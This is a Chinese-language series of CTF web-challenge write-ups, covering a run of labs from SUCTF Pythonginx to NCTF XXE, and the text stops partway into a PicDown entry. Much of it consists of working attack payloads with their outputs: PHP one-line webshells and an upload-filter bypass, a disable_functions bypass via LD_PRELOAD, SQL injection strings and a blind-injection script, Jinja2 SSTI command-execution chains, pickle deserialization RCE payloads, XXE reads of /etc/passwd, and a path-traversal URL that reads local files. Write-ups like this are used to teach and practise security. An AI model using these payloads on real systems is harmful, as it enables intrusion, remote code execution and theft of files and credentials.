$a = 'phpinfo'
echo urlencode(~$a);

>
payload
?code=(~%8F%97%8F%96%91%99%90)();

查看phpinfo

搓一个shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[a]))';
$d=urlencode(~$c);
echo $d;
?>
在PHP中,~ 是按位取反运算符,而用url编码是避免不可见字符
$a="D"^"C" 异或
//$a='
$a=urlencode(~"B"); 取反
//$a=%BB 由于取反结果是一个不可见的字符。所以我们通过URL编码输出。浏览器会自动解码。~"B"=~%BB
//不太明白为什么要用assert


通过phpinfo()页面可知

在phpinfo()页面可以发现禁用了非常多的函数,其中包括system、exec、shell_exec等关键执行函数
有shell了就连下蚁剑
连接发现根目录有flag,但是为空,还有一个readflag文件
这里可以发现readflag这个文件但是并没有执行权限,所以得绕过disable_function
巧用LD_PRELOAD突破disable_functions
通过文章可以了解到
导致 webshell 不能执行命令的原因大概有三类:一是 php.ini 中用 disable_functions 指示器禁用了 system()、exec() 等等这类命令执行的相关函数;二是 web 进程运行在 rbash 这类受限 shell 环境中;三是 WAF 拦劫。若是一则无法执行任何命令,若是二、三则可以执行少量命令。

有四种绕过 disable_functions 的手法:第一种,攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞;第二种,寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec(),逐一尝试,或许有漏网之鱼;第三种,mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制;第四种,利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。

下载博主整理的源码
上传到蚁剑的var/tmp目录下

我们需要传入三个参数,第一个参数cmd为执行的命令,第二个参数outpath为输入出文件位置,第三个sopath参数为上传的so文件所在位置
payload:

1
2
3
4
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
这里使用的是异或绕过%##为16进制格式,异或转化为下
?code=${_GET}[_](${_GET}[__]);&_=assert&__=include(%27/var/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
//其中${_GET}[_]与$_GET[_]用法类似,但本题第二种方法试了没通过,可能是因为网络问题,没有测试很多次,十六进制数对应的字符尽量为不可见字符,不然会被浏览器编译,导致失败。。。


至此以大功告成

这里蚁剑有个插件

通过加载插件启动PHP7_GC_UAF

点击开始后就可以输入命令了

[SUCTF 2019]Pythonginx


将题目给的代码整理一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname #获取域名ip 例:www.xxxx.com
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"

这道题用的是blackhat议题之一HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization
nginx配置文件路径 black hat一个议题 任意读取文件
原链接在这
先来分析代码
对几个函数进行解释
urlsplit(url)

1
2
3
4
5
6
7
8
9
10
11
12
url = "https://username:password@www.baidu.com:80/index.html;parameters?name=tom#example"

print(urlsplit(url))

"""
SplitResult(
scheme='https',
netloc='username:password@www.baidu.com:80',
path='/index.html;parameters',
query='name=tom',
fragment='example')
"""
1
2
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))

对字符串 host 进行了拆分(split)操作,然后对每个分割后的子字符串进行了IDNA编码和UTF-8解码,最终将结果添加到名为 newhost 的列表中。

1
return urllib.request.urlopen(finalUrl).read()

使用了 urllib.request.urlopen 函数来打开指定的URL(finalUrl),并调用 read() 方法读取该URL返回的数据。

改一下代码,整体运行一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from urllib import parse
from urllib.parse import urlsplit, urlparse, urlunsplit

#@app.route('/getUrl', methods=['GET', 'POST'])

# url = request.args.get("url")
url = "http://suctf.cX"
host = parse.urlparse(url).hostname #获取域名ip例:www.xxxx.com
print('host1= ' +host)
if host == 'suctf.cc':
print("我扌 your problem? 111")
parts = list(urlsplit(url))
print('parts = ',parts)
host = parts[1]
print('host2= ' +host)
if host == 'suctf.cc':
print("我扌 your problem? 222")
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
print('finalUrl = ' + finalUrl)
host = parse.urlparse(finalUrl).hostname
print('host3= ' +host)
if host == 'suctf.cc':
print("yes")
else:
print("我扌 your problem? 444")


#host1= suctf.cx
#parts = ['http', 'suctf.cX', '', '', '']
#host2= suctf.cX
#finalUrl = http://suctf.cX
#host3= suctf.cx
#我扌 your problem? 444

从代码上看,我们需要提交一个url,用来读取服务器文件
需要绕过前两个if,进入第三个if来使用函数
而三个if中判断条件都是相同的,不过在此之前的host构造却是不同的,这也是blackhat该议题中想要说明的一点
当URL 中出现一些特殊字符的时候,输出的结果可能不在预期
这里需要按照getUrl函数写出爆破脚本即可得到构造语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
except:
pass

def getUrl(url):
url=url
host=parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts=list(urlsplit(url))
host=parts[1]
if host == 'suctf.cc':
return False
newhost=[]
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1]='.'.join(newhost)
finalUrl=urlunsplit(parts).split(' ')[0]
host=parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False


if __name__=='__main__':
get_unicode()

我们只需要让其中的一个去读取文件即可,需要url编码一下
先读一下etc/passwd
payload

1
/getUrl?url=file://suctf.c%E2%84%82/../../../../../../etc/passwd


部分nginx的配置文件所在位置

1
2
3
4
5
6
7
8
配置文件: /usr/local/nginx/conf/nginx.conf
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx

挨个读读试试
在配置文件中我们发现

读取

[SWPU2019]Web1

登录页面,有注册先注册
这里admin被注册了,注册一个admin1,登录

疑似注入点,万能钥匙测测

存在过滤,再测测
一番测试以后,发现过滤了or,#,–+和空格

  • 空格被过滤
    可以用/**/代替空格

  • 注释符被过滤
    将后面的单引号闭合即可

  • or被过滤
    导致 order by 、information_schema都不能用。
    于是查表名可以使用select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()

先判断列数
因为or被禁 order by无法用,所以用group by ,一样的效果
payload

1
1'/**/group/**/by/**/23,'


判断为22列
回显位

1
1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

回显位为2,3

爆数据库

1
1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

爆表

1
1'union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'

因为关键字被禁,所以我们不能直接爆字段,我们可以绕过这一步骤直接通过表来爆值
学习到了一个新的概念:使用无列名注入技巧获取字段值
无列名注入

  1. 如果information_schema被WAF,得到表名之后使用无列名注入技巧获取字段值.

  2. 之后就可以利用数字来对应相应的列,进行查询

 这里有两点需要注意一下:

1.列名需要用``包裹起来
2.使用子查询的时候,即一个查询嵌套在另一个查询中,内层查询的结果可以作为外层查询的条件,内层查询到的结果需要起一个别名(as)

  1. 如果反引号``被过滤,可以使用为字段起别名的方式.

    现在的思路就明朗了
    payload
    1
    1'/**/union/**/select/**/1,database(),(select/**/group_concat(`3`)/**/from/**/(select/**/1,2/**/as/**/a,3/**/union/**/select/**/*/**/from/**/users)heihei),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

代码解析

1
group_concat(`3`)

上面表示列为3

heiheihei表示派生表的别名,名字随意

无列名注入总结

[FBCTF2019]RCEService

题目说要以 JSON 格式输入命令
而JSON 需要给一个键值对
格式为

1
{"cmd":"heiheihei"}

先输入

1
{"cmd":"ls"}

1
{"cmd":"ls /"}

没有回显,错误
尝试使用{“cmd”:”cat index.php”} , 返回: Hacking attempt detected 估计过滤了cat 。
dirsearch什么都没扫出来
看了看大佬的wp,这题应该是会给源代码的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

代码中使用putenv(‘PATH=/home/rceservice/jail’); 配置系统环境变量,而我们用不了 cat 也有可能是在这个环境变量下没有这个二进制文件

因为这些命令实际上是存放在特定目录中封装好的程序,PATH环境变量就是存放这些特定目录的路径方便我们去直接调用这些命令,所以此处部分命令我们得使用其存放的绝对路径去调用

然后就是正则匹配的绕过了
可以注意到正则表达式采用了^xxx$的格式,同时也采用了.*这样的贪婪匹配,所以有两个方案来绕过正则——回溯次数超限和利用%0a。

利用%0a:%0a对于^xxx$这个格式的绕过太常见了,只需要注意下表达式中存在一段

1
\x00-\x1F

会匹配一个%0a,但多在payload前后加几个%0a就行了。


看看现在能不能行

1
{%0a"cmd":"ls /"%0a}


根目录中没有flag
用find查找

1
{%0a"cmd":"find / -name flag*"%0a}

没有报错但也没有显示,那么说这个环境变量下也没有find

Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用

在/usr/bin下找到了find
这样来使用

1
{%0a"cmd":"/usr/bin/find / -name flag*"%0a}


找到了flag的路径

找到cat的路径

1
{%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}


再看看环境变量/home/rceservice/jail下有什么

是ls,解释了为啥刚开始能用ls的原因

[WUSTCTF2020]颜值成绩查询

只有一个输入框
输入1
回显Hi admin, your score is: 100
最多输到4
盲猜sql注入
输入

1
1 or 1=1

这里如果没有过滤字符or应该恒为真的
显示student number not exists.
有可能空格或者or被过滤

多轮测试过后发现仅空格被过滤,用/**/代替空格即可
将or换为and,因为只输入1也回显为true,and的后面也为true才能达到布尔盲注的目的

1
1/**/and/**/1

发现规律,命令错误会报错
使用布尔盲注
编写python脚本方便使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests


if __name__ == '__main__' :
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f'1/**/and/**/if(ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{mid},1,0)%23'
# payload = f'1/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="ctf"),{i},1))>{mid},1,0)%23'
# payload = f'1/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag"),{i},1))>{mid},1,0)%23'
payload = f'1/**/and/**/if(ascii(substr((select/**/group_concat(value)/**/from/**/ctf.flag),{i},1))>{mid},1,0)%23'
# print(payload)
url = f"http://ac3f56f2-dc89-4ab5-a066-b6f2d94da972.node5.buuoj.cn:81/?stunum={payload}"
#print(url)
# data={
# "":f"admin' and {payload}#",
#
# }
r = requests.get(url=url)
if 'admin' in r.text:
low = mid + 1
else:
high = mid
if low != 32:
result += chr(low)
print(result)
else:
break

[MRCTF2020]套娃

源代码里是有我们需要的东西的

1
2
3
4
5
6
7
8
9
10
11
<!--
//1st
$query = $_SERVER['QUERY_STRING'];//可以理解为获取输入的字符信息,获取的是?后面的值

if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){//substr_count获取字符的出现次数
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
!-->

开始绕
他没有大小写的检测%5f用%5F绕过
以$结尾也没有禁用换行符,就用%0a绕过
payload

1
?b[u%5Fp%5Ft=23333%0a


进入再源代码发现一个加密信息
复制粘贴在控制台里

那么POST Merak,值随意

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}


function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

出现了新的源码
第一步是伪造ip
有如下几种方式

1
2
3
4
5
6
7
8
9
10
X-Forwarded-For:127.0.0.1
Client-ip:127.0.0.1
X-Client-IP:127.0.0.1
X-Remote-IP:127.0.0.1
X-Rriginating-IP:127.0.0.1
X-Remote-addr:127.0.0.1
HTTP_CLIENT_IP:127.0.0.1
X-Real-IP:127.0.0.1
X-Originating-IP:127.0.0.1
via:127.0.0.1

测试仅client-ip可以使用
header中添加client-ip
file_get_contents用php伪协议绕过

1
2
?2333=php://input
post:todat is a happy day

这步开始用burp操作,hackbar有点问题

1
2
3
4
5
6
7
8
function change($v){ 
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}

这块反向编译下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

function change($v){

$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
return $re;
}

$a = 'flag.php';
echo base64_encode(change($a));

?>

[Zer0pts2020]Can you guess it?

点击source查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>

代码告诉了我们flag在config.php里
但是下面又过滤了config.php/
$_SERVER[‘PHP_SELF’]返回的是路径+脚本名
下面有一行代码表示可以直接获得flag,但要能够破解随机数就能得到flag,这个难度太大了。。

这里是有突破点的

1
2
3
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

注意这里/config.php/*$是匹配了尾部的,我们可以通过尾部添加不可显字符来绕过正则,比如%ff

basename()
会返回路径重的文件名部分。比如/index.php/config.php使用basename()之后返回config.php。
basename()会去掉文件名开头的非ASCII值。

这里写一段php语句来搞清楚

1
2
3
4
5
6
<?php

echo basename('index.php/config.php%ff?source').'<br>';
echo $_SERVER['PHP_SELF'].'<br>';
echo basename($_SERVER['PHP_SELF']);


因为$_SERVER[‘PHP_SELF’]表示当前执行脚本的文件名,当使用了PATH_INFO时,这个值是可控的。所以可以尝试用/index.php/config.php/%ff?source来读取flag。

[CSCCTF 2019 Qual]FlaskLight

题目说了是关于flask的
源代码有提示参数为search
所以直接ssti注入

1
?search={{2*4}}


因为是用flask搭建的网站,所以这里的判断很自然就是jinja2的模板注入。

1
?search={{[].__class__.__bases__[0]}}

用bases或mro都行,只要打印返回(<class ‘object’>,),找到了他的基类object即可

接下来我们使用subclasses() 这个方法,这个方法返回的是这个类的子类的集合,也就是object类的子类的集合。

1
?search={{[].__class__.__bases__[0].__subclasses__()}}


在基本类的子类中找到重载过的__init__类(貌似是个类就行)
那么我们直接找第一个显示的类

1
?search={{[].__class__.__bases__[0].__subclasses__()[58]}}

测试发现globals被过滤了,使用拼凑法绕过

1
?search={{[].__class__.__bases__[0].__subclasses__()[58].__init__['__glo'+'bals__']['__builtins__']}}

接下来利用eval进行命令执行

1
?search={{[].__class__.__bases__[0].__subclasses__()[58].__init__['__glo'+'bals__']['__builtins__']['eval']('__import__("os").popen("dir").read()')}}


flag在flasklight中

1
?search={{[].__class__.__bases__[0].__subclasses__()[58].__init__['__glo'+'bals__']['__builtins__']['eval']('__import__("os").popen("cat flasklight/coomme_geeeett_youur_flek").read()')}}

关于flask的SSTI注入[通俗易懂]
flask之ssti模版注入从零到入门

ciscn2019-华北赛区-day1-web2-ikun

根据页面的提示,需要找到lv6
但是翻了很多页也没有找到lv6
写一个python脚本

1
2
3
4
5
6
7
8
9
10
11
import requests

url = 'http://eca3df9d-0ecd-46b6-b0ab-7166f51fb956.node5.buuoj.cn:81/shop?page='


for i in range(1,2000):
a = requests.get(url + str(i))
if 'lv6.png' in a.text:
print(i)
break

在181页发现lv6
发现价格有点高,看能不能抓包改下价格
只能改折扣


这里涉及到JWT伪造漏洞
攻击工具c-jwt-cracker获得密匙
我使用的是kali系统

破解获得密匙1Kun
然后访问JWT攻击网站,将JWT复制上去即可

将username改为admin,还有将刚才的密匙填入
将cookies的JWT替换,得到

源码中发现

找到admin.py

这里可以理解为与php一样的反序列化

self.render(‘form.html’, res=p, member=1)
这段代码的意思就是找到模板文件,进行渲染,从而显示页面
来观察一下form.html页面

说明传入的是可以直接进行回显的,而且可以将自定义的类进行序列化和反序列化,因此存在Pickle反序列化漏洞,那我们就可以构造一个通过pickle.dumps序列化的payload,从而被解析读取flag或其他信息。
我们构建一个类,类里面的__reduce__python魔术方法会在该类被反序列化的时候会被调用
构造payload可以使用方法__reduce__(self),先要获取的flag文件的位置,然后进行读取

点击一键成为大会员后,替换become
os.system和os.popen
os.system 调用系统命令,完成后退出,返回结果是命令执行状态,一般是0
os.popen() 无法读取程序执行的返回值
这两个函数只有以print输出时才会回显,如果是以return返回的就不会显示结果。
可以使用commands.getoutput()这个函数来进行代替,构造payload

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import urllib
import commands

class payload(object):
def __reduce__(self):
return (commands.getoutput,('ls /',))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

找到flag.txt文件,并读取

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import urllib
import commands

class payload(object):
def __reduce__(self):
return (commands.getoutput,('cat /flag.txt',))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import urllib
import commands

class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

Python Pickle反序列化漏洞
认识JWT

[WUSTCTF2020]CV Maker

很简单的题目
除了login和register没有其它的入口
那么我们先注册登录
登录成功后跳另外一个页面
弹出Please Login First!
查看源代码发现这是页面自带的

1
<script>alert('Please Login First!');</script>

不用管他

这里有个图片上传按钮
先上传
3.png
内容为一句话木马

1
<?php eval($_POST[a]);?>

exif_imagetype not image!
欺骗一下

1
2
GIF89A
<?php eval($_POST[a]);?>

成功欺骗
页面没有回显上传链接
源代码看一下

找到
但进入这个链接我们是没办法执行命令的
盲猜一手
我们将上传的文件后缀改为3.png.php

后缀为php
进入链接
payload

1
a=phpinfo();


看看没有过滤什么函数
直接

1
2
3
4
5
6
7
8
a=system('ls');
//GIF89A d41d8cd98f00b204e9800998ecf8427e.php

a=system('ls /');
//GIF89A Flag_aqi2282u922oiji bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var

a=system('cat /Flag_aqi2282u922oiji');
//GIF89A flag{4e0eee16-52b1-4248-8565-2da97f5cdb35}

页面有三种饼干,其中最贵的饼干为flag饼干,推测购买这款饼干就能获得flag
但我们的初始资金为50刀,买不起flag饼干,源码看下啥也没有
先购买1刀的饼干
抓包看看有什么数据

神似base64加密,解密一下

不知道history里的数据是什么样的

后面又抓住了一个,找到数据
试着改一下json包的数据
这回我们买10刀的

修改money
回到页面发现钱变为我们想要的,这时我们直接购买flag饼干即可

[GWCTF 2019]枯燥的抽奖

猜字符串游戏,猜不了一点
看看源码
源码中找到一个php文件check.php
没问题可以进去
源码发现真的是随机数啊
对函数挨个搜索后发现mt_srand和mt_rand是有一个伪随机数漏洞
我的理解是mt_srand($seed),种子值就是提供了一个初始的值
如果以同样的mt_srand($seed)值调用mt_rand(),那么每次程序运行都会得到相同的随机数序列

现在已经知道了前10个字符,那么可以通过已知的字符来推出种子值,这需要借助一个工具php_mt_seed
php_mt_seed是c语言编写的爆破随机数序列种子的工具,这里我选择的是kali系统,在目录下运行make命令就配置好了


使用官方文档中的使用方法

1
2
3
4
5
6
7
8
9
10
<?php
$allowable_characters = 'abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789';
$len = strlen($allowable_characters) - 1;
$pass = $argv[1];
for ($i = 0; $i < strlen($pass); $i++) {
$number = strpos($allowable_characters, $pass[$i]);
echo "$number $number 0 $len ";
}
echo "\n";
?>

需要将我们的序列转换为php_mt_seed可以识别的格式

然后

1
./php_mt_seed 30 30 0 61  9 9 0 61  9 9 0 61  55 55 0 61  50 50 0 61  22 22 0 61  38 38 0 61  8 8 0 61  55 55 0 61  19 19 0 61

这里就获得了seed值735396921

执行题目源代码,确认我们的seed值

1
2
3
4
5
6
7
8
9
10
11
<?php
mt_srand(735396921);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
?>
//4jjTOwCiTtBHTQBt4oBa

成功反推
填空即可得到flag

[红明谷CTF 2021]write_shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
//遍历数组
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

先了解下??的作用

1
2
3
4
5
6
7
8
9
10
switch($_GET["action"] ?? "")

?? 判断一个变量是否存在,存在则复制变量本身,不存在赋值另一变量
?? 相当于:isset($a)?$a:$b;
是php7 推出来的
可以简单理解为 用于简便三元表达式

$a = 50;
$a = $a ?? 1;
var_dump($a);//50
1
2
3
4
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}

如果dir不存在,创建一个dir文件
再整理下思路
先让action等于pwd,先得出我们的文件路径
然后再让action等于upload,先看下面有一个file_put_contents()函数

1
2
3
4
5
file_put_contents()

file 必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。
data 必需。规定要写入文件的数据。可以是字符串、数组或数据流。
mode 可选。规定如何打开/写入文件。

我们要在index.php下写入数据
这题由于写入的文件是后缀名为php的,也就是说我们的语法就得满足php,并且达到命令执行的点。
但是这题把php给ban了,我们可以使用php的短标签
要确保php配置为short_open_tag = On 才能使用

1
2
<?=?> //相当于<?php echo;?>
<?='1'?>//相当于<?php echo '1';?>

空格也被过滤了,这里使用%09绕过
php支持一个执行运算符–反引号。PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符的效果与函数shell_exec() 相同。
这题用system不太行,不知道是什么原因,chat给出的解释是
echo ls 执行 ls 命令,然后将 ls 命令的输出作为字符串直接输出到页面。

echo system(‘ls’) 执行 ls 命令,并将 ls 命令的执行结果的退出状态(通常是 0 表示成功)输出到页面。
但是我echo system(ls)是成功回显index.php的,到echo system(ls /)会报错

1
Parse error: syntax error, unexpected ')' 

payload

1
2
3
4
5
6
7
8
?action=upload&data=<?=%09`ls`?>
//index.php

?action=upload&data=<?=%09`ls%09/`?>
//bin boot dev etc flllllll1112222222lag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var

?action=upload&data=<?=%09`cat%09/flllllll1112222222lag`?>
//flag{74410ae5-1628-4222-bfc6-b959ac2b56ec}

找到了system为什么报错的原因,很简单的错误😭
echo system(ls)时正常执行而echo system(ls /)报错是因为 ls / 中的空格被解释为命令参数的分隔符,在 PHP 中,应该使用字符串来表示整个命令,而且最好使用单引号或双引号包裹整个命令,以避免空格导致的问题。
因为本题ban了单引号,我们用双引号括起来就可以正常执行命令了。。

[NCTF2019]True XML cookbook

xxe漏洞
源码中有一段js代码,除了知道他是xml格式再无太大联系
随便输入数据抓个包

抓到xml数据
开始漏洞注入
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害
payload

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>1</password></user>

也可以php伪协议看看doLogin.php的源码

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY admin SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/doLogin.php">
]>
<user><username>&admin;</username><password>1</password></user>

doLogin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin';
$PASSWORD = '024b87931a03f738fff6693ce0a78c88';
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);

$username = $creds->username;
$password = $creds->password;

if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

账号密码可以登录,但没什么用

看了看别人的博客,要读取一个/proc/net/arp文件
访问/proc/net/arp文件时查看有无可利用内网主机等,然后通过爆破主机地址进行访问

这里说是用xxe内网探测存活的主机
两个ip都读取了
但是都显示504,正常应该报错然后再爆破最后一位
找了半天,说是由于buuctf转用了K8S管理,他的靶机容器是随机在80,81两个网段里的,具体情况看/proc/net/fib_trie


这回倒是报错了

爆破最后一位,这里我也不知道为什么要爆破最后一位

等待

[网鼎杯 2020 白虎组]PicDown

python2的urllib的urlopen,和urllib2中的urlopen明显区别就是urllib.urlopen支持将路径作为参数去打开对应的本地路径,所以可以直接填入路径读取文件
python2

1
2
3
4
import urllib
url="/etc/passwd"
res = urllib.urlopen(url)
print(res.read())

python3

1
